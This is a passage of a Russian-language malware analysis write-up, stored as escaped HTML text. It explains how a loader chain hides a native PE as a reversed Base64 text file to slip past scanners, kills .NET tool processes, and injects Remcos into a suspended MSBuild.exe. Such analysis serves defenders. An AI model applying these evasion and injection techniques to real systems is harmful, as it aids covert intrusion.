    \u041f\u043e\u0441\u043b\u0435 \u0440\u0430\u0437\u0432\u043e\u0440\u043e\u0442\u0430, \u0437\u0430\u043c\u0435\u043d\u044b (\u0435\u0441\u043b\u0438 \u043d\u0443\u0436\u043d\u043e) \u0438 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f Base64 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f PE-\u0444\u0430\u0439\u043b. \u0420\u0430\u0437\u043c\u0435\u0440 \u2014 \u043e\u043a\u043e\u043b\u043e \u0448\u0435\u0441\u0442\u0438\u0441\u043e\u0442 \u0448\u0435\u0441\u0442\u0438\u0434\u0435\u0441\u044f\u0442\u0438 \u043a\u0438\u043b\u043e\u0431\u0430\u0439\u0442. \u042d\u0442\u043e \u0443\u0436\u0435 \u043d\u0435 \u0441\u0431\u043e\u0440\u043a\u0430 .NET, \u043a\u0430\u043a \u0432 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u043c \u0441\u043b\u043e\u0435, \u0430 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0439 \u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b, \u0441\u043e\u0431\u0440\u0430\u043d\u043d\u044b\u0439 Microsoft Visual C++ \u2014 \u043b\u0438\u043d\u043a\u0435\u0440 \u0447\u0435\u0442\u044b\u0440\u043d\u0430\u0434\u0446\u0430\u0442\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438, \u0435\u0441\u043b\u0438 \u0441\u0443\u0434\u0438\u0442\u044c \u043f\u043e \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u043c.<\/p>\n
    \"MZ<\/p>\n
    MZ — \u0434\u0432\u0430 \u0441\u0438\u043c\u0432\u043e\u043b\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0433\u043e\u0432\u043e\u0440\u044f\u0442, \u0447\u0442\u043e \u0442\u044b \u0438\u0434\u0435\u0448\u044c \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e.<\/figcaption><\/div>\n<\/figure>\n
    \u0418 \u044d\u0442\u043e \u0442\u043e\u0442 \u0441\u0430\u043c\u044b\u0439 \u0444\u0430\u0439\u043b, \u0440\u0430\u0434\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0432\u0441\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0438 \u0441\u0442\u0440\u043e\u0438\u043b\u0430\u0441\u044c. \u0418\u043c\u0435\u043d\u043d\u043e \u0435\u0433\u043e \u0441\u0431\u043e\u0440\u043a\u0430 \u0438\u0437 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e \u0441\u043b\u043e\u044f \u0440\u0430\u0441\u043f\u0430\u043a\u0443\u0435\u0442 \u0432 \u043f\u0430\u043c\u044f\u0442\u044c \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u0433\u043e MSBuild.exe<\/code> \u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442 \u043e\u0442\u0442\u0443\u0434\u0430. \u0410 \u0447\u0442\u043e \u044d\u0442\u043e \u0437\u0430 \u0444\u0430\u0439\u043b \u2014 \u0442\u0435\u043c\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e, \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u043b\u043e\u044f.<\/p>\n
    \u041e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0445\u043e\u0447\u0443 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0437\u043d\u0438\u043a\u043d\u0443\u0442\u044c \u0432 \u0433\u043e\u043b\u043e\u0432\u0435: \u043f\u043e\u0447\u0435\u043c\u0443 \u0432\u043e\u043e\u0431\u0449\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0430 \u0432\u0441\u044f \u044d\u0442\u0430 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u0441 .txt<\/code>? \u0412\u0435\u0434\u044c \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u0443 \u043d\u0430\u0441 \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c PE, \u0430 \u043d\u0435 \u0442\u0435\u043a\u0441\u0442. \u0420\u0430\u0437\u0432\u0435 \u043d\u0435\u043b\u044c\u0437\u044f \u0431\u044b\u043b\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u043e\u0442\u0434\u0430\u0442\u044c PE?<\/p>\n
    \u041c\u043e\u0436\u043d\u043e. \u041d\u043e \u0442\u043e\u0433\u0434\u0430 \u0435\u0433\u043e \u043d\u0430\u0434\u043e \u043e\u0442\u0434\u0430\u0432\u0430\u0442\u044c \u043a\u0430\u043a application\/octet-stream<\/code>, \u0438 \u0442\u043e\u0433\u0434\u0430 \u043b\u044e\u0431\u043e\u0439 \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441, \u043b\u044e\u0431\u043e\u0439 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0441\u043a\u0430\u043d\u0435\u0440, \u043b\u044e\u0431\u043e\u0439 \u043f\u0440\u043e\u043a\u0441\u0438 \u0441 \u043a\u043e\u043d\u0442\u0435\u043d\u0442-\u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0435\u0439 \u043f\u043e\u043b\u0443\u0447\u0438\u0442 \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a \u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442 \u043a \u043d\u0435\u043c\u0443 \u0441\u0432\u043e\u0438 \u043e\u0431\u044b\u0447\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430. \u0410 \u0447\u0442\u043e \u0442\u0430\u043c \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a\u0435 \u2014 \u0432\u043e\u043f\u0440\u043e\u0441 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439, \u043d\u043e \u0441\u0430\u043c \u0444\u0430\u043a\u0442 \u00ab\u0441\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f .exe \u043f\u043e HTTP \u0441 \u043d\u0435\u043f\u043e\u043d\u044f\u0442\u043d\u043e\u0433\u043e IP\u00bb \u0443\u0436\u0435 \u043f\u0440\u0438\u0432\u043b\u0435\u043a\u0430\u0435\u0442 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.<\/p>\n
    \u0410 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0444\u0430\u0439\u043b \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c 880 \u043a\u0438\u043b\u043e\u0431\u0430\u0439\u0442? \u0421\u043a\u0430\u043d\u0435\u0440\u044b \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u0430 \u0441\u043c\u043e\u0442\u0440\u044f\u0442 \u043d\u0430 \u0440\u0430\u0437\u043c\u0435\u0440, \u043d\u043e 880 \u041a\u0411 \u2014 \u044d\u0442\u043e \u043d\u0435 \u0430\u043d\u043e\u043c\u0430\u043b\u0438\u044f. \u0411\u044b\u0432\u0430\u0435\u0442 \u0438 \u0431\u043e\u043b\u044c\u0448\u0435. \u0421\u043a\u0430\u043d\u0435\u0440\u044b \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440 \u0441\u043c\u043e\u0442\u0440\u044f\u0442 \u043d\u0430 \u043d\u0430\u0447\u0430\u043b\u043e \u0444\u0430\u0439\u043b\u0430, \u0430 \u043d\u0430\u0447\u0430\u043b\u043e \u2014 ==AAAA<\/code> \u2014 \u043d\u0430 MZ \u043d\u0435 \u043f\u043e\u0445\u043e\u0436\u0435. \u0410\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u044b \u043f\u043e \u0445\u044d\u0448\u0443 \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u044e\u0442 \u2014 \u0430 \u0445\u044d\u0448 \u0441\u0432\u0435\u0436\u0438\u0439, \u0432 \u0431\u0430\u0437\u044b \u043d\u0435 \u043f\u043e\u043f\u0430\u043b. \u0418 \u0432\u0440\u043e\u0434\u0435 \u0431\u044b \u0432\u0441\u0451 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e, \u0444\u0430\u0439\u043b \u0441\u0435\u0431\u0435 \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f, \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432.<\/p>\n
    \u041e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0442\u043e\u0440\u043e\u043d\u0430 \u044d\u0442\u043e\u0439 \u043c\u0435\u0434\u0430\u043b\u0438 \u2014 \u0442\u043e, \u0447\u0442\u043e \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0434\u0435\u043b\u0430\u0442\u044c \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u0435\u043b\u044f<\/strong>. \u0422\u043e \u0435\u0441\u0442\u044c \u043b\u043e\u0430\u0434\u0435\u0440 \u043e\u0431\u044f\u0437\u0430\u043d \u0437\u043d\u0430\u0442\u044c, \u0447\u0442\u043e \u0441\u0442\u0440\u043e\u043a\u0430 \u0440\u0430\u0437\u0432\u0451\u0440\u043d\u0443\u0442\u0430, \u0447\u0442\u043e \u043d\u0430\u0434\u043e \u043f\u043e\u043c\u0435\u043d\u044f\u0442\u044c fTre<\/code> \u043d\u0430 \/d<\/code> \u0438 \u0442\u0430\u043a \u0434\u0430\u043b\u0435\u0435. \u042d\u0442\u043e \u0443\u0432\u0435\u043b\u0438\u0447\u0438\u0432\u0430\u0435\u0442 \u0440\u0430\u0437\u043c\u0435\u0440 \u043b\u043e\u0430\u0434\u0435\u0440\u0430 \u0438 \u0443\u0441\u043b\u043e\u0436\u043d\u044f\u0435\u0442 \u0435\u0433\u043e \u043b\u043e\u0433\u0438\u043a\u0443, \u043d\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043b\u043e\u0430\u0434\u0435\u0440\u0430, \u0441\u0443\u0434\u044f \u043f\u043e \u0432\u0441\u0435\u043c\u0443, \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u044d\u0442\u043e \u043f\u0440\u0438\u0435\u043c\u043b\u0435\u043c\u043e\u0439 \u043f\u043b\u0430\u0442\u043e\u0439. \u041b\u043e\u0433\u0438\u043a\u0430 \u0443 \u043d\u0435\u0433\u043e \u043d\u0435 \u0432 \u043f\u0435\u0440\u0432\u044b\u0439 \u0440\u0430\u0437 \u0442\u0430\u043a\u0430\u044f.<\/p>\n
    \u0418 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0435, \u0447\u0442\u043e \u0445\u043e\u0447\u0443 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c \u043f\u0440\u043e \u044d\u0442\u043e\u0442 \u0441\u043b\u043e\u0439. \u0424\u0430\u0439\u043b dbjdfmd.txt<\/code> \u2014 \u044d\u0442\u043e \u0442\u0440\u0430\u043d\u0441\u043f\u043e\u0440\u0442\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043b\u0435\u0436\u0438\u0442 \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u0430\u044f \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0430. \u0423 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u0435\u0441\u0442\u044c \u0441\u0432\u043e\u0439 \u0445\u044d\u0448. \u0423 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u2014 \u0441\u0432\u043e\u0439. \u0425\u044d\u0448 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u043d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u0440\u0430\u0437\u0431\u043e\u0440\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u043e\u0432\u0430\u043b \u0432 VirusTotal (\u043d\u0430 13.10.2026 \u0443\u0436\u0435 \u0438\u043c\u0435\u0435\u0442\u0441\u044f). \u0421\u043e\u0432\u0441\u0435\u043c. \u041d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u044f, \u043d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u044f.<\/p>\n
    \u042d\u0442\u043e \u043d\u0435 \u0437\u043d\u0430\u0447\u0438\u0442, \u0447\u0442\u043e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0431\u0435\u0437\u0432\u0440\u0435\u0434\u043d\u0430. \u042d\u0442\u043e \u0437\u043d\u0430\u0447\u0438\u0442, \u0447\u0442\u043e \u0435\u0451 \u0441\u043e\u0431\u0440\u0430\u043b\u0438 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0438 \u0432 \u044d\u0442\u043e\u0439 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0439 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0435\u0449\u0451 \u043d\u0438\u043a\u0442\u043e \u043d\u0435 \u043b\u043e\u0432\u0438\u043b. \u0422\u0430\u043a\u0438\u0435 \u0441\u044d\u043c\u043f\u043b\u044b \u2014 \u0441\u0430\u043c\u0430\u044f \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0430\u044f \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u044f \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430: \u043d\u0435 \u043f\u043e\u0442\u043e\u043c\u0443, \u0447\u0442\u043e \u043e\u043d\u0438 \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0438\u0430\u043b\u044c\u043d\u043e \u043d\u043e\u0432\u044b\u0435 \u043f\u043e \u0442\u0435\u0445\u043d\u0438\u043a\u0435, \u0430 \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043e\u043d\u0438 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442, \u043a\u0430\u043a \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0430\u0434\u0430\u043f\u0442\u0438\u0440\u0443\u0435\u0442 \u0443\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 \u043f\u0440\u0438\u0451\u043c\u044b \u043a \u0442\u0435\u043a\u0443\u0449\u0438\u043c \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430\u043c \u0437\u0430\u0449\u0438\u0442\u044b.<\/p>\n
    \u0421\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e, \u0447\u0442\u043e \u0438 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u043e\u0441\u044c \u2014 \u0432\u043d\u0443\u0442\u0440\u0438 \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f Remcos. \u041d\u043e \u043e\u0431 \u044d\u0442\u043e\u043c \u0432 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c \u0441\u043b\u043e\u0435.<\/p>\n
    \u0421\u043b\u043e\u0439 6. Remcos \u0432 MSBuild<\/h2>\n
    \u0412\u043e\u0442 \u043c\u044b \u0438 \u0434\u043e\u0448\u043b\u0438 \u0434\u043e \u0444\u0438\u043d\u0430\u043b\u0430. \u0421\u0431\u043e\u0440\u043a\u0430 \u0438\u0437 \u0447\u0435\u0442\u0432\u0451\u0440\u0442\u043e\u0433\u043e \u0441\u043b\u043e\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0444\u0430\u0439\u043b, \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u043b\u0430 \u0435\u0433\u043e, \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043b\u0430 Base64 \u0438 \u0442\u0435\u043f\u0435\u0440\u044c \u0434\u0435\u0440\u0436\u0438\u0442 \u0432 \u0440\u0443\u043a\u0430\u0445 \u0448\u0435\u0441\u0442\u044c\u0441\u043e\u0442 \u0441 \u043b\u0438\u0448\u043d\u0438\u043c \u043a\u0438\u043b\u043e\u0431\u0430\u0439\u0442 \u043d\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e PE. \u041e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0435 \u2014 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0435\u0433\u043e \u0442\u0430\u043a, \u0447\u0442\u043e\u0431\u044b \u043d\u0438\u043a\u0442\u043e \u043d\u0435 \u0437\u0430\u043c\u0435\u0442\u0438\u043b.<\/p>\n
    \u0418 \u0432\u043e\u0442 \u0437\u0434\u0435\u0441\u044c \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441\u0430\u043c\u043e\u0435 \u0438\u0437\u044f\u0449\u043d\u043e\u0435 \u0432 \u044d\u0442\u043e\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0435. \u041f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u00ab\u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c PE\u00bb \u2014 \u044d\u0442\u043e \u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u043e, \u0430 \u00ab\u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c PE \u0442\u0430\u043a, \u0447\u0442\u043e\u0431\u044b \u0432 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0435 \u0437\u0430\u0434\u0430\u0447 \u0435\u0433\u043e \u043d\u0435 \u0431\u044b\u043b\u043e, \u0430 \u0432 \u0441\u043f\u0438\u0441\u043a\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0432\u0438\u0441\u0435\u043b \u0431\u044b \u043f\u043e\u0434\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 Microsoft \u0444\u0430\u0439\u043b\u00bb \u2014 \u044d\u0442\u043e \u0443\u0436\u0435 \u0438\u0441\u043a\u0443\u0441\u0441\u0442\u0432\u043e.<\/p>\n
    \u041f\u0435\u0440\u0435\u0434 \u0442\u0435\u043c \u043a\u0430\u043a \u0447\u0442\u043e-\u0442\u043e \u0438\u043d\u0436\u0435\u043a\u0442\u0438\u0442\u044c, \u0441\u0431\u043e\u0440\u043a\u0430 \u0434\u0435\u043b\u0430\u0435\u0442 \u043e\u0434\u043d\u0443 \u043f\u0440\u043e\u0441\u0442\u0443\u044e \u0432\u0435\u0449\u044c. \u0421\u043a\u0440\u044b\u0442\u043d\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 cmd.exe<\/code>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u0431\u0438\u0432\u0430\u0435\u0442 \u0442\u0440\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430: RegAsm.exe<\/code>, Vbc.exe<\/code> \u0438 MsBuild.exe<\/code>.<\/p>\n
    \u0421\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u044d\u0442\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0441\u0442\u0440\u0430\u043d\u043d\u043e: \u0437\u0430\u0447\u0435\u043c \u0443\u0431\u0438\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435, \u0441\u043a\u043e\u0440\u0435\u0435 \u0432\u0441\u0435\u0433\u043e, \u0434\u0430\u0436\u0435 \u043d\u0435 \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u044b? \u041e\u0442\u0432\u0435\u0442 \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u2014 \u043d\u0430 \u0432\u0441\u044f\u043a\u0438\u0439 \u0441\u043b\u0443\u0447\u0430\u0439. \u0421\u0431\u043e\u0440\u043a\u0430 \u0440\u0430\u0441\u0441\u0447\u0438\u0442\u0430\u043d\u0430 \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u0435\u0451 \u043c\u043e\u0433\u0443\u0442 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e \u043d\u0430 \u0443\u0436\u0435 \u0437\u0430\u0440\u0430\u0436\u0451\u043d\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435. \u0422\u043e\u0433\u0434\u0430 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0431\u0443\u0434\u0435\u0442 \u0432\u0438\u0441\u0435\u0442\u044c \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440 \u043e\u0442 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430, \u0438 \u0435\u0433\u043e \u043d\u0430\u0434\u043e \u0430\u043a\u043a\u0443\u0440\u0430\u0442\u043d\u043e \u0441\u043d\u044f\u0442\u044c \u043f\u0435\u0440\u0435\u0434 \u0442\u0435\u043c, \u043a\u0430\u043a \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043d\u043e\u0432\u044b\u0439. \u0417\u0430\u043e\u0434\u043d\u043e \u0443\u0431\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0438 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b, \u0435\u0441\u043b\u0438 \u043e\u043d\u0438 \u0431\u044b\u043b\u0438: \u0435\u0441\u043b\u0438 \u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0432 \u044d\u0442\u043e\u0442 \u043c\u043e\u043c\u0435\u043d\u0442 \u0448\u043b\u0430 \u0441\u0431\u043e\u0440\u043a\u0430 .NET-\u043f\u0440\u043e\u0435\u043a\u0442\u0430, \u043e\u043d\u0430 \u0443\u043f\u0430\u0434\u0451\u0442. \u041d\u0435\u043f\u0440\u0438\u044f\u0442\u043d\u044b\u0439 \u043f\u043e\u0431\u043e\u0447\u043d\u044b\u0439 \u044d\u0444\u0444\u0435\u043a\u0442, \u043d\u043e \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430 \u043e\u043d, \u0441\u0443\u0434\u044f \u043f\u043e \u0432\u0441\u0435\u043c\u0443, \u043d\u0435 \u0432\u043e\u043b\u043d\u0443\u0435\u0442.<\/p>\n
    \u0414\u0430\u043b\u044c\u0448\u0435 \u2014 \u043a\u043b\u044e\u0447\u0435\u0432\u043e\u0439 \u0432\u044b\u0431\u043e\u0440. \u0421\u0431\u043e\u0440\u043a\u0430 \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 C:\\Windows\\<\/code>Microsoft.NET<\/code><\/a>\\Framework64\\v4.0.30319\\Msbuild.exe<\/code> \u0432 \u043f\u0440\u0438\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u043c \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0438. \u0418\u043c\u0435\u043d\u043d\u043e \u0432 \u043d\u0435\u0433\u043e \u0431\u0443\u0434\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u0430 \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u0430\u044f \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0430.<\/p>\n
    \u041f\u043e\u0447\u0435\u043c\u0443 MSBuild? \u041f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u044d\u0442\u043e \u043e\u0434\u0438\u043d \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u0443\u0434\u043e\u0431\u043d\u044b\u0445 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432 \u0434\u043b\u044f \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438, \u0438 \u0432\u043e\u0442 \u043f\u043e\u0447\u0435\u043c\u0443.<\/p>\n
      \n
    1. \n
      \u042d\u0442\u043e<\/strong> \u043f\u043e\u0434\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 Microsoft<\/strong> \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a. \u041e\u043d \u043b\u0435\u0436\u0438\u0442 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0439 \u043f\u0430\u043f\u043a\u0435, \u0443 \u043d\u0435\u0433\u043e \u0432\u0430\u043b\u0438\u0434\u043d\u0430\u044f \u0446\u0438\u0444\u0440\u043e\u0432\u0430\u044f \u043f\u043e\u0434\u043f\u0438\u0441\u044c, \u0435\u0433\u043e \u0445\u044d\u0448 \u0432 \u0431\u0435\u043b\u044b\u0445 \u0441\u043f\u0438\u0441\u043a\u0430\u0445. \u041f\u0440\u0430\u0432\u0438\u043b\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u0430\u043d\u044f\u0442 \u043d\u0435\u043f\u043e\u0434\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b, \u0435\u0433\u043e \u043f\u0440\u043e\u043f\u0443\u0441\u0442\u044f\u0442.<\/p>\n<\/li>\n
    2. \n
      \u041e\u043d \u0432\u0441\u0435\u0433\u0434\u0430 \u0435\u0441\u0442\u044c<\/strong> \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0430\u0445, \u0433\u0434\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d .NET Framework. \u0410 .NET Framework \u0435\u0441\u0442\u044c \u043f\u043e\u0447\u0442\u0438 \u0432\u0435\u0437\u0434\u0435. \u041d\u0435 \u043d\u0430\u0434\u043e \u0442\u0430\u0449\u0438\u0442\u044c \u0441 \u0441\u043e\u0431\u043e\u0439 \u043d\u0438\u0447\u0435\u0433\u043e \u043b\u0438\u0448\u043d\u0435\u0433\u043e, \u043d\u0435 \u043d\u0430\u0434\u043e \u043f\u043e\u043b\u0430\u0433\u0430\u0442\u044c\u0441\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043d\u0430 \u0445\u043e\u0441\u0442\u0435 \u043d\u0430\u0439\u0434\u0451\u0442\u0441\u044f \u0447\u0442\u043e-\u0442\u043e \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u0447\u0435\u0441\u043a\u043e\u0435.<\/p>\n<\/li>\n
    3. \n
      \u041e\u043d \u0441\u0430\u043c \u0445\u043e\u0434\u0438\u0442 \u0432 \u0441\u0435\u0442\u044c<\/strong>. MSBuild \u0443\u043c\u0435\u0435\u0442 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c NuGet-\u043f\u0430\u043a\u0435\u0442\u044b, \u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f \u0441 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u043c\u0438, \u043a\u0430\u0447\u0430\u0435\u0442 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438. \u041f\u0440\u0430\u0432\u0438\u043b\u043e \u00ab\u0435\u0441\u043b\u0438 MSBuild \u043f\u043e\u0448\u0451\u043b \u0432 \u0441\u0435\u0442\u044c \u2014 \u044d\u0442\u043e \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u00bb \u0443\u0442\u043e\u043d\u0435\u0442 \u0432 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u043c \u0448\u0443\u043c\u0435 \u043d\u0430 \u043b\u044e\u0431\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430.<\/p>\n<\/li>\n
    4. \n
